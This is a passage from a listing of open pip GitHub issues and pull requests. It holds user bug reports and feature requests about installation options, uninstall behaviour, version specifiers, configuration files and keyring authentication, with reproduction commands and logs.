I don't understand why this is.  I _can_ use target if I set the target to where `site-packages` is, but entry points don't get created in the right place and I need to manually move them myself.

### Expected behavior

_No response_

### pip version

22.0.2

### Python version

3.10.6

### OS

Ubuntu

### How to Reproduce

```
$ pip3 install pygit2 --root foobar --platform=manylinux2014_aarch64 --only-binary :all:
ERROR: Can not use any platform or abi specific options unless installing via '--target'
```

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: rossburton
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11889: state: open
title: pip uninstall calls normalize_path excessively, hurting performance on Windows
body: ### Description

When using pip's uninstall, either via `pip uninstall` or `pip install --force-reinstall`, I found that `UninstallPathSet` was generating thousands of calls to `normalize_path()`, the vast majority of which are being called on identical paths.

For instance, when running `pip install --force-reinstall --no-deps .tox/.tmp/package/1/pip-23.1.dev0.tar.gz`, I saw ~4000 calls to `normalize_path()`.
- ~2500 were in calls to `UninstallPathSet.add()`, when normalizing the "head" of a file path. Since the vast majority of directories have several files in them, this meant we were repeating the path normalization of the "head" portion of the path.
- ~1500 were from calls to `UninstallPathSet._permitted()`, which calls `is_local()`. All but one of these were redundant, because `is_local()` calls `normalize_path(sys.prefix)`, and `sys.prefix` shouldn't be changing while executing an uninstall.

In my testing on Windows, `normalize_path()` overwhelmingly spent its time calling `realpath()`. On Linux-based filesystems, `realpath()` might be a fast function, but it's more expensive on Windows, and all these calls were adding nearly 1 second of time to the uninstall.

### Expected behavior

I would expect pip's uninstall logic to not normalize the same paths hundreds/thousands of times during the scope of a single uninstall/reinstall operation, degrading performance.

Instead, I would expect to see some level of caching as to not harm performance disproportionately on Windows platforms.

### pip version

23.1

### Python version

3.11

### OS

Windows 11

### How to Reproduce

1. Download the pip source distrubtion from https://pypi.org/project/pip/#files
2. Create a virtual environment
3. From that virtual environment run: `python -m pip install --force-reinstall <path to the tar.gz you downloaded`
4. If you perform these steps with Python profiling enabled, you'll see approximately 4000 calls made to `normalize_path()`.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: DefaultRyan
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11888: state: open
title: Erroneously accepts a .dev wheel with no version specifier
body: ### Description

Hi,

using pip 23.0.1 with python3.8 : 

```bash
mkdir repro
cd repro
cat << END > pyproject.toml
[build-system]
requires = ["setuptools"]
build-backend = "setuptools.build_meta"

[project]
name = "pip-issue"
version = "0.1.0.dev1"
END
python3 -m pip wheel -v .
```

Now:

```bash
07:19 $ python3 -m pip install -f . "pip-issue>0.0.1"
Looking in indexes: https://pypi.org/simple
Looking in links: .
ERROR: Could not find a version that satisfies the requirement pip-issue>0.0.1 (from versions: 0.1.0.dev1)
ERROR: No matching distribution found for pip-issue>0.0.1
```

But:

```bash
07:19 $ python3 -m pip install -f . "pip-issue"
Looking in indexes: https://pypi.org/simple
Looking in links: .
Processing ./pip_issue-0.1.0.dev1-py3-none-any.whl
Installing collected packages: pip-issue
Successfully installed pip-issue-0.1.0.dev1
```

I'm a bit suprised the former does not work (which I expect) but/while the later install ok (which I don't).

Though now:

```
$ python3 -m pip install -f . "pip-issue>=0.0.0"
Looking in indexes: https://pypi.org/simple
Looking in links: .
ERROR: Could not find a version that satisfies the requirement pip-issue>=0.0.0 (from versions: 0.1.0.dev1)
ERROR: No matching distribution found for pip-issue>=0.0.0
```

FWIW: with some/any compatible version specifier AND --pre it does work/install as intended too:

```
07:24 $ pip install --pre -f . "pip-issue>=0.0.0"  # ofcourse if using "pip-issue>=1.0" for instance then the wheel is not installed given lower than 1.0.
Looking in indexes: https://pypi.org/simple
Looking in links: .
Processing ./pip_issue-0.1.0.dev1-py3-none-any.whl
Installing collected packages: pip-issue
Successfully installed pip-issue-0.1.0.dev1
```


### Expected behavior

```
pip install a-distribution-name
```

should not consider dev/beta wheels/distributions, even if/when there is not yet a producation / non-beta one.


### pip version

23.0.1

### Python version

3.8

### OS

Ubuntu 20.04

### How to Reproduce

See/everything in description

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: gst
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11881: state: open
title: Unable to install direct path dependencies as editable
body: ### Description

`pip install -e` does not install path dependencies as editable. This is OK as a default but there doesn't seem to be any way to configure this behaviour.

I have seen [this issue](https://github.com/pypa/pip/issues/10216#issue-953434845) and [this stack overflow post](https://stackoverflow.com/questions/51662776/pip-install-dependencies-as-editable) where others have wanted this behaviour (or similar behaviour) as well. `poetry install` does work as expected but `poetry` may not always be available.

In `install_req_from_req_string()` where the `InstallRequirement` for is constructed from the path requirement string I see that there is no way to have the `editable` attribute set.


### Expected behavior

I expected that `pip install -e` would install all the local/path dependency packages in editable mode like `poetry install` does.



### pip version

23.0.1

### Python version

3.11

### OS

Ubuntu 20.04.5 LTS

### How to Reproduce

- create two packages, `p1` and `p2`
- add `p2` as a path dependency of `p1`: `p2 = {path = "../p2", develop = true}`.
    - here using poetry but I don't think it matters
- run `pip install -e p1`


### Output

`p1` is installed in editable mode but `p2` is not. Even if `p2` is installed in editable mode beforehand it will be re-installed as non-editable.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mbway
labels: state: needs discussion: This needs some more discussion
state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_11880: state: open
title: `pip config set` causes error when PIP_CONFIG_FILE="/dev/null"
body: ### Description

Run:
```
export PIP_CONFIG_FILE="/dev/null"
pip config set global.foo bar
```

Causes error:
```
ERROR: Fatal Internal error [id=2]. Please report as a bug.
```

### Expected behavior

Should give a more meaningful error message such as "Cannot set configuration variables when `PIP_CONFIG_FILE="/dev/null"`.

### pip version

23.0.1

### Python version

3.9.2

### OS

MacOS

### How to Reproduce

```
export PIP_CONFIG_FILE="/dev/null"
pip config set global.foo bar
```

### Output

```
ERROR: Fatal Internal error [id=2]. Please report as a bug.
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Toldry
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11878: state: open
title: for VCS install targets, check the parameters after "#" for typos (egg, subdirectory)
body: ### What's the problem this feature will solve?

In reference to Issue  #11854, and @uranusjr 's [comment](https://github.com/pypa/pip/issues/11854#issuecomment-1470378792), check the two pip-specific virtual GET parameters for typos.

Those typos can be hard to catch, and the error resulting from them is not straightforward.

### Describe the solution you'd like

If a VCS URL has parameters (#...&...), check that only the valid parameters "egg" and "subdirectory" are present.



If an other parameter is present, report an error.

pseudocode:

```
if not all([p in ('egg', 'subdirectory') for p in GET_PARAMETER_NAMES]):
    throw Error
```

The particular usecase is to guard against typos, e.g. a user writing `#egg_info=...` instead of `#egg=...` or a hard-to-catch typo, such as in #11854, `#subdiretory=...` instead of `#subdirectory=...`.

### Alternative Solutions

The alternative is that the user does not make typos... but that's not very service-oriented.

### Additional context

As mentioned, #11854.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: szabi
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
issue_11877: state: open
title: pip cannot skip the last installation dir for installation 
body: ### Description

I accidentally deleted a virtual env in my system and only that venv had tensorflow installed when I realized that I did a mistake I tried to reinstall the tensorflow as usual but the pip was always trying to find the last Dir where it downloaded the tensorflow actually all later version and previous version of tensorflow is able to be installed but this specific 2.10.1 will never get installed again as it
says   "The system cannot find the file specified." on every single attempt even after trying to reinstall python completely this still continues to happen. I have already tried the --no-cache-dir still it don't work and there is no solution for it even on internet 

### Expected behavior

_No response_

### pip version

23

### Python version

3.11

### OS

win11 x64

### How to Reproduce

create a venv 
install tensorflow in it (only inside that for first time)
activate that 
delete the local folder of venv 
now try to reinstall the package that was installed in venv 

### Output

The system cannot find the file specified.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: RajKrishna2123
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11867: state: open
title: Support relative paths for providing certificates to pip
body: ### What's the problem this feature will solve?

When using a custom pypa repository with a custom SSL certificate `PIP_CERT`  environment variable may be used to supply the certificate to use.
Also the `cert`  option within the current pip.conf or pip.ini can be used. 

Currently both methods only support absolute paths which makes the configuration system dependent.

### Describe the solution you'd like

It should be possible to provide relative paths to the trusted certificate.

- When using the `cert` option in pip.conf (Linux) or pip.ini (Windows) the path should be relative to the location of the pip.conf / pip.ini that's currently being used (user / system).
- When using the `PIP_CERT` environment variable a relative path should be interpreted relative to the current working directory or relative to the pip/python executeable (to be discussed).

### Alternative Solutions

No.

### Additional context

https://pip.pypa.io/en/stable/topics/https-certificates/

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: omniproc
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11865: state: open
title: Implement provenance_url.json
body: See [Draft PEP: Recording provenance of installed packages](https://discuss.python.org/t/draft-pep-recording-provenance-of-installed-packages/24838) and [PEP-710 PR](https://github.com/python/peps/pull/3076).
user: fridex
labels: needs rebase or merge: PR has conflicts with current master
issue_11859: state: open
title: Deprecate `--global-option` and `--build-option`
body: The use of  `--global-option` and `--build-option` currently trigger a [warning](https://github.com/pypa/pip/blob/4b14e7cd7c386839718e88c98b31137448d31e63/src/pip/_internal/req/req_install.py#L926-L930), recommending `--config-settings`.

I propose to deprecate them with a 6 month notice and remove them in 23.3.

After that, we can consider dropping the legacy `setup.py egg_info` + `setup.py bdist_wheel` code paths and switch to using the default build backend without build isolation for projects without `pyproject.toml`.
user: sbidoul
labels: project: setuptools: Related to setuptools
type: deprecation: Related to deprecation / removal.
issue_11856: state: open
title: New suggested text for note_stmt
body: More wordy, but hopefully less confusing text for the ExternallyManagedEnvironment note statement. Particually for non-linux distro use cases.

See: https://github.com/pypa/pip/issues/11855


user: ChrisBarker-NOAA
issue_11855: state: open
title: Override Text for ExternallyManagedEnvironment?
body: ### What's the problem this feature will solve?

Currently, an EXTRENALLY-MANAGED file can specify the main error text when invoked. 

This is great.

However, pip also tacks on some additional text -- currently, in 

`pip/_internal/exceptions.py` in the `ExternallyManagedEnvironment` class:

```
note_stmt=(
                "If you believe this is a mistake, please contact your "
                "Python installation or OS distribution provider. "
                "You can override this, at the risk of breaking your Python "
                "installation or OS, by passing --break-system-packages."
            ),
```

I can see the point of this text -- we want to make it clear that this is not pip that is responsible, but rather whoever put the EXTERNALLY-MANAGED file in place. But as this text is generic, and designed for the original use case of linux distros, it may be confusing on other contexts.

For example, conda is in process of adding EXTERNALLY-MANAGED to its base environment Python, pretty much for the purpose of this original intent. But I'm not sure that the words:

"... Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS"

will be clearly interpreted by newbie conda users as meaning conda (or miniconda, or Anaconda, depending on how they got it) Yes, in that case conda is the Python installation provider, but the "or OS provider" is likely to cause confusion.

Even worse, I am considering putting EXTERNALLY-MANAGED optionaly into specific conda environments -- and then this would be even more confusing.

I'm not sure we could come up with less confusing text that would get the point across and not confuse someone -- so maybe it would be better to allow ALL the text to be provided in the EXTERNALLY-MANAGED file, so it could be tailored to any use case.

### Describe the solution you'd like

I'm not sure we could come up with less confusing text that would get the point across and not confuse someone -- so maybe it would be better to allow ALL the text to be provided in the EXTERNALLY-MANAGED file, so it could be tailored to any use case.

### Alternative Solutions

Just remove that text, and let the error message provided by  EXTERNALLY-MANAGED speak for itself.

(while encouraging folks to clearly state that it is the distributor's choice, and non pips to do this)

### Additional context

See (some of the) discussion Here:

https://discuss.python.org/t/pip-conda-compatibility/24375/70?u=pythonchb

And the conda issue here:

https://github.com/conda/conda/issues/12245

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ChrisBarker-NOAA
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11851: state: open
title: Add a mechanism to have a config file that can be overriden by user config
body: ### What's the problem this feature will solve?

Right now the only way to specify a config file that a user can override is to use the global config file which a user needs root to create. This is difficult for shared systems where non-administrators provide Python support.

### Describe the solution you'd like

I suggest adding an environment variable along the lines of `PIP_DEFAULT_CONFIG_FILE` which is loaded first and overriden by all other config files. The major downside to this approach is that it will be a little hard to document/could lead to confusing or messy documentation.

### Alternative Solutions

It is pretty standard notion to have configs like `global < user < project-level < env vars`. pip somewhat breaks this with the way `site` and `base` work. The idea of `site` is that a virtualenv config is basically like the project-level config. Unfortunately, when pip is not being used in a  virtual environment, this sort of breaks the above as then we have something that is like a global config overriding user configs. But, this behaviour is probably unchangeable at this point, otherwise a file location somewhere next to the Python install might be ideal. As it is, no other location make sense, which basically only leaves an environment variable.

### Additional context

To clarify slightly the situation, we have a group of users who are not admins that manage our python installs where I work. These versions of python are installed in "non-standard" locations and are made available to users via [environment modules](https://modules.readthedocs.io/en/latest/). Additionally, we have internal PyPI mirrors and other config we'd like to make available to users as a default, but enable them to override. There's not really a mechanism to do this currently.

Note I'm happy to make a PR for this if there's support for adding this feature.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: dalebrydon
labels: S: awaiting response: Waiting for a response/more information
type: feature request: Request for a new feature
issue_11849: state: open
title: Better warning message for undeleted temp directories in site-packages
body: ### Description

I interrupted a running `pip install` with a Ctrl-C.  Now every pip operation warns me about

> WARNING: Ignoring invalid distribution -nidecode (/home/mg/src/project/env/lib/python3.9/site-packages)

The error message doesn't make it clear where that `-nidecode` distribution name comes from.

(I thought it was a typo in one of the METADATA files in site-packages/*.dist-info/ and was very very confused when I couldn't find any mentions of `-nidecode` inside any of them.  Or inside any file in site-packages/.  Or in any filename in site-packages, because, turns out, the problem was a pair of directories called `~nidecode` and ~nidecode-0.4.6.dist-info`.)

### Expected behavior

I would like pip to recognize the special `~` prefix that pip itself uses when it's removing a packages and say something like

> WARNING: Ignoring incompletely removed distribution ~nidecode in /home/mg/src/project/env/lib/python3.9/site-packages (it is safe to remove it and the corresponding .dist-info directory)

### pip version

23.0.1

### Python version

3.9

### OS

Ubuntu 22.10

### How to Reproduce

1. interrupt a pip install operation that is replacing one version of a package with another version
2. run `pip list`

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mgedmin
labels: state: awaiting PR: Feature discussed, PR is needed
type: feature request: Request for a new feature
C: error messages: Improving error messages
issue_11846: state: open
title: pip install finds wrong header file (?), explodes
body: ### Description

`pip install gensim` fails with pyenv-installed python (but succeeds with brew-installed python) on an M1 Mac running OS 12.5.1. I believe this is related to https://github.com/pypa/pip/pull/11740 .

I was invoking pip via poetry (one env created with pyenv-installed 3.9.13, one with brew-installed 3.9.13). When the pyenv one got to the pip install gensim stage, under the pyenv python, it failed with [this extremely long error](https://gist.github.com/thatandromeda/4c96f2b100a074d91f41d3c9b36aa6ba).

I believe this is the same error as [this seemingly unrelated issue](https://github.com/golang/go/issues/35247) (provided in case it's helpful), and that the important part is here:
```
        In file included from gensim/models/word2vec_inner.c:25:
        In file included from /Users/ayelton/.pyenv/versions/3.9.13/include/python3.9/Python.h:25:
        In file included from /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/stdio.h:64:
```

And that something is wrong with this `stdio.h` file that Python tries to include (maybe it is actually for Swift and not C++?). I believe further that the brew-installed python + pip are finding the correct C++ headers, because the pip installing in the brew python env worked just fine. But at this point I am out of my depth.

### Expected behavior

I expected `pip install gensim` to install gensim without 17,000 lines of a C compiler complaining about nullability.

### pip version

22.3.1 and 23.0.1 (tried them both)

### Python version

3.9

### OS

OS X (12.5.1)

### How to Reproduce

- While on an M1 mac running 12.5.1
- install python 3.9 with pyenv
- use poetry to create a virtualenv
- poetry install something containing gensim 4.3.0

### Output

See linked gist in description

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: thatandromeda
labels: project: setuptools: Related to setuptools
type: support: User Support
S: awaiting response: Waiting for a response/more information
issue_11841: state: open
title: pip literally passes `****` to `git clone` instead of real token when using env vars in `requirements.txt`
body: ### Description

Having the following dependency structure in `requirements.txt`:

```
<package_name> @ git+https://${GITHUB_USER}:${GITHUB_TOKEN}@github.com/<repo_owner>/<package_name>.git@commit
```

The `GITHUB_TOKEN` variable should be expanded and passed to `git clone`. However, literally `****` is passed instead of the read token, causing an authentication error. If I hardcode the token instead of using `GITHUB_TOKEN` within `requirements.txt`, the repository is cloned successfully, so the problem seems to be somewhere while expanding the password/token variable.

### Expected behavior

The value of the environment variable should be passed instead of `****`.

### pip version

23.0.1

### Python version

3.10.2

### OS

Windows 10

### How to Reproduce

1. Create a private repository in GitHub and commit some random code.
2. In your account settings, create a read-only personal access token to that repository.
3. Create a local `requirements.txt` and add the following line:
    
    ```
    <package_name> @ git+https://${GITHUB_USER}:${GITHUB_TOKEN}@github.com/<your_github_user>/<your_private_repo_name>.git@commit
    ```
4. Open the terminal and within the same session:
5. Set the `GITHUB_USER` and `GITHUB_TOKEN` environment variables with your GitHub username and PAT created in step 2.
6. Run `pip install -r requirements.txt`

### Output

```
$ pip install -r requirements.txt
Collecting <package-name>@ git+https://<your_github_user>:<GITHUB_PAT_ACTUALLY_APPEARS_HERE>@github.com/<your_github_user>/<your_private_repo_name>.git@7d6718133fe7b8e4e8c54a78e4a8591b7de3068c
  Cloning https://<your_github_user>:****@github.com/<your_github_user>/<your_private_repo_name>.git (to revision 7d6718133fe7b8e4e8c54a78e4a8591b7de3068c) to c:\users\franc\appdata\local\temp\pip-install-vqzy1pg0\<package-name>_0fb551f76d0a431ba23dc4539d7f9d67
  Running command git clone --filter=blob:none --quiet 'https://<your_github_user>:****@github.com/<your_github_user>/<your_private_repo_name>.git' 'C:\Users\franc\AppData\Local\Temp\pip-install-vqzy1pg0\<package-name>_0fb551f76d0a431ba23dc4539d7f9d67'
  remote: Support for password authentication was removed on August 13, 2021.
  remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
  fatal: Authentication failed for 'https://github.com/<your_github_user>/<your_private_repo_name>.git/'
  error: subprocess-exited-with-error

  × git clone --filter=blob:none --quiet 'https://<your_github_user>:****@github.com/<your_github_user>/<your_private_repo_name>.git' 'C:\Users\franc\AppData\Local\Temp\pip-install-vqzy1pg0\<package-name>_0fb551f76d0a431ba23dc4539d7f9d67' did not run successfully.
  │ exit code: 128
  ╰─> See above for output.

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: subprocess-exited-with-error

× git clone --filter=blob:none --quiet 'https://<your_github_user>:****@github.com/<your_github_user>/<your_private_repo_name>.git' 'C:\Users\franc\AppData\Local\Temp\pip-install-vqzy1pg0\<package-name>_0fb551f76d0a431ba23dc4539d7f9d67' did not run successfully.
│ exit code: 128
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
```

Note the first line:

```
Collecting <package-name>@ git+https://<your_github_user>:<GITHUB_PAT_ACTUALLY_APPEARS_HERE>@github.com/<your_github_user>/<your_private_repo_name>.git@7d6718133fe7b8e4e8c54a78e4a8591b7de3068c
```

It actually displays the expanded value of `GITHUB_TOKEN` (which is another bug, I guess), but the command run by subprocess receives `****`.



### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: fvicent
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11835: state: open
title: pip fails to remove __pycache__ folders and pyc files on uninstall, breaking future installs
body: ### Description

While I originally reported this issue on https://github.com/ansible/ansible/issues/79271 but we closed it as not being able to reproduce, I was finally able to find what can cause pip uninstall to perform an incomplete installations, one that would break future installations (at least as editable).

I observed that uninstall of ansible-core package had some leftovers and all of them were `__pycache__` folders with some `pyc` files inside them. Sample below:

```
.
├── ansible
│   ├── __pycache__
│   │   ├── __init__.cpython-310.pyc
│   │   ├── __init__.cpython-311.pyc
│   │   ├── constants.cpython-311.pyc
│   │   ├── context.cpython-311.pyc
│   │   ├── release.cpython-310.pyc
│   │   └── release.cpython-311.pyc
│   ├── _vendor
│   │   └── __pycache__
│   │       └── __init__.cpython-311.pyc
│   ├── cli
│   │   ├── __pycache__
│   │   │   ├── __init__.cpython-311.pyc
│   │   │   ├── adhoc.cpython-311.pyc
│   │   │   ├── config.cpython-311.pyc
│   │   │   └── playbook.cpython-311.pyc
│   │   └── arguments
│   │       └── __pycache__
│   │           ├── __init__.cpython-311.pyc
│   │           └── option_helpers.cpython-311.pyc
│   ├── config
....
```

### Expected behavior

pip uninstall should ensure that folders are empty on uninstall.

### pip version

23.0.1

### Python version

3.11.2

### OS

MacOS Ventura

### How to Reproduce

1. create some `__pycache__` folders and pyc files inside a package, usually it is enough to chdir to the package folder and run thru python one of the files as that should create the `__pycache__` folders.
2. uninstall this package

Please note that these files can endup being created regardless if you have something like `PYTHONPYCACHEPREFIX=/Users/ssbarnea/.cache/cpython/` or `PYTHONDONTWRITEBYTECODE=1` defined because some development tools might not use your user defined variables.

Basically it is practically impossible to prevent some tools/python-installations from creating these temporary files within the installed package folders.

Still, removing a package should ensure that the folders are emptied or at least provides a very visible (colored?) warning when leftovers are present, so pip user will not be surprised if his future reinstallation of the package might be broken.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: ssbarnea
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11830: state: open
title: Allow an environment variable override for setting the GLIBC version when building on linux
body: ### What's the problem this feature will solve?

I'm working on a feature where we build python virtual environments on one machine, zip them, and then export and use them on a variety of other VMs.

The issue is some of the other VMs (which we don't control) are older linux versions than our build machines. Some packages end up installing with dependencies on newer versions of GLIBC that aren't available, giving us runtime excpetions similar to the following:
```
ImportError: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.28' not found (required by /<<our exported environment>>/etc/somePackage.py)
```

What we'd like is, during pip install, to have control over the GLIBC version we're installing for, so when we export the environments to these older VMs they can run without issue. For security and compliance reasons, running our build machines on older versions of Linux is not really an option.

### Describe the solution you'd like

conda actually has this on their end already, using the environment variable "CONDA_OVERRIDE_GLIBC"

Documentation: https://docs.conda.io/projects/conda/en/4.12.x/user-guide/tasks/manage-virtual.html#overriding-detected-packages 
Their source code: https://github.com/conda/conda-lock/blob/main/conda_lock/virtual_package.py

I propose pip supports the same thing, presumably with a similar environment variable name ''PIP_OVERRIDE_GLIBC"

### Alternative Solutions

I actually have already solved this in my project by manually manipulating pip source code during my conda build with code similar to the below. Though of course this is brittle and is subject to change if pip changes in the future
```python
# CREATE THE CONDA ENV
$CONDA_EXE create -n "$CONDA_ENV_NAME" -c conda-forge -y python=3.7.3 pip=22.0.4

# UPDATE PIP TO HARDCODE GLIBC
MANYLINUX_FILE_PIP="$CONDA_ENV_DIRECTORY/$CONDA_ENV_NAME/lib/python3.7/site-packages/pip/_vendor/packaging/_manylinux.py"
sudo sed -i 's/current_glibc = _GLibCVersion(*_get_glibc_version())/current_glibc = _GLibCVersion(2, 17)/' $MANYLINUX_FILE_PIP
sudo sed -i 's/sys_glibc = _get_glibc_version()/sys_glibc = (2, 17)/' $MANYLINUX_FILE_PIP
CACHEFILE="$CONDA_ENV_DIRECTORY/$CONDA_ENV_NAME/lib/python3.7/site-packages/pip/_vendor/packaging/__pycache__/_manylinux.cpython-37.pyc"
rm $CACHEFILE

# INSTALL ADDITIONAL REQS TO CONDA FILE
$CONDA_ENV_DIRECTORY/$CONDA_ENV_NAME/bin/pip install <<whatever>>
```

### Additional context

N/A

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: pritz2
labels: state: needs discussion: This needs some more discussion
S: awaiting response: Waiting for a response/more information
type: feature request: Request for a new feature
issue_11828: state: open
title: 'pip list --not-required' and 'pip show' don't handle extra requirements
body: ### Description

'pip list --not-required' lists as not required packages that are required from package[extra] dependencies.

Furthermore 'pip show' doesn't show these dependencies either.

Here's a simple **example** below with pip_audit, CacheControl and lockfile.

### Expected behavior

They should not :-)

I deleted some of my 'not required' packages and broke requiring packages.

### pip version

23.0.1

### Python version

3.9.16

### OS

FreeBSD 13.1-RELEASE

### How to Reproduce

1. $ pip install pip_audit
2. $ grep "Requires-Dist:" /usr/local/lib/python3.9/site-packages/pip_audit-2.4.14.dist-info/METADATA | grep CacheControl
3. $ grep "Requires-Dist:" /usr/local/lib/python3.9/site-packages/CacheControl-0.12.11.dist-info/METADATA | grep filecache
4. $ pip list --not-required | grep lockfile
5. $ pip show CacheControl

### Output

# Step 2:
Requires-Dist: CacheControl[filecache]>=0.12.10
# Step 3:
Provides-Extra: filecache
Requires-Dist: lockfile (>=0.9) ; extra == 'filecache'
# Step 4: lockfile should not appear
lockfile        0.12.2
# Step 5: lockfile should appear on the 'Requires:' line
Name: CacheControl
Version: 0.12.11
Summary: httplib2 caching for requests
Home-page: https://github.com/ionrock/cachecontrol
Author: Eric Larson
Author-email: eric@ionrock.org
License: UNKNOWN
Location: /usr/local/lib/python3.9/site-packages
Requires: msgpack, requests
Required-by: pip_audit


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: HubTou
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11827: state: open
title: Improving integration with keyring and pip authentication.
body: ### What's the problem this feature will solve?

In the current implementation of integration between keyring and pip authentication we could ask username of keyring user and use this method of authentication as [401 fallback](https://github.com/pypa/pip/blob/main/src/pip/_internal/network/auth.py#L351).

I would like to improve the integration by:
1. removing all logic that asks people to promt password. In the CI scripts it couldn't possible to type in some environments
2. start to use keyring authentication as an optional method like netrc file (not as fallback)
3. changing a way how we pick up username for keyring:
- from artifact url
- from index url
- from pip.cong parameter (I added a new parameter)

These changes improve integration with keyring and help private companies to block anonymous access to their internal PyPi reposiotires by setting up keyring authentification on their dev machines and CI clusters.


### Describe the solution you'd like

Instead of describing the solution I already prepared the fix:
https://github.com/pypa/pip/pull/11823

I didn't create new test cases for my logic because first I would like to here your oppinion about this change and only after that add unittest/integration tests + update docs.

### Alternative Solutions

As an alternative solution we can use:
1. [Basic HTTP authentication](https://pip.pypa.io/en/stable/topics/authentication/?highlight=keyring#basic-http-authentication) in index urls and artifact urls
But in this case people should store unencrypted passwords/tokens in their home directories.
=> user processes will be able to read passwords/tokens => some viruses could steal passwords/tokens
2. [netrc](https://pip.pypa.io/en/stable/topics/authentication/?highlight=keyring#netrc-support)
There are the same problem

Keyring [allows](https://pypi.org/project/keyrings.cryptfile/) storage encryption on dev devices and CI machines. 

### Additional context

I don't have any additional context.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: mangin
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11823: state: open
title: keyring2.0
body: Hey there,

I would like to improve the integration with keyring. Now keyring requires typing username in some cases. Because by default keyring would like to know username and service to fetch credentials and in some cases we don't know username => we ask to type it.

Moreover in the current integration we use keyring only if we can't authorize using different way. In this case we always will generate 401 error on pypi repository. It could create some issues with monitoring on pypi repository's side. I removed this logic too.

My change allows to fetch username from:
1. artifact url
2. index url
3. pip.conf

I really believe that this change will simplify integration with internal pip for some companies that uses their own mirrors and would like to force authentication.

I'm looking forward for your feedback

TODO:
1. add news https://pip.pypa.io/en/latest/development/contributing/#news-entries
2. add more unit tests
3. add more integration tests
user: mangin
labels: needs rebase or merge: PR has conflicts with current master
issue_11820: state: open
title: Disable upgrade prompt on `EXTERNALLY-MANAGED` environments
body: ### Description

It's slightly odd that pip recommends running a pip install --upgrade pip that cannot succeed under EXTERNALLY-MANAGED environments

### Expected behavior

_No response_

### pip version

23.0.1

### Python version

3.11

### OS

Debian

### How to Reproduce

N/A

### Output

_No response_

### Code of Conduct

- [x] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: graingert
labels: type: enhancement: Improvements to functionality
issue_11818: state: open
title: If a sdist and a pure py package exist, try to build sdist first
body: ### What's the problem this feature will solve?

Currently, if a module have a pure py wheel published on Pypi and your architecture is not present in the prebuilt packages, `pip` installs the pure python wheel, even if on Pypi is present an sdist package.

### Describe the solution you'd like

I suggest to make `pip` try to build first from sdist, and if it fails, install the pure py package if present.

### Alternative Solutions

Current workaround is to make the C extension optional and remove the pure python package.

This is problematic, since it requires an additional effort for module testers. Furthermore, if the C extension fails to compile, the produced wheel is not named as a pure python one.

### Additional context

PS: I'm a maintainer of a C extension. I had to change my code and use the workaround.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Marco-Sulla
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11812: state: open
title: pip fails to build project from `backend-path` when `MetaPathFinder` is present and installing from VCS url
body: ### Description

`pip` will fail to build a project in the following circumstances:

- A build-backend is installed using a [`MetaPathFinder`](https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder) (e.g. as if it was installed in editable mode) that is inserted before `importlib.machinery.PathFinder`.
- The same virtual environment is used to perform an installation from a VCS URL of a project which matches the name of the build-backend previously installed (to a `target` directory).

###### Real-world scenario/motivation:

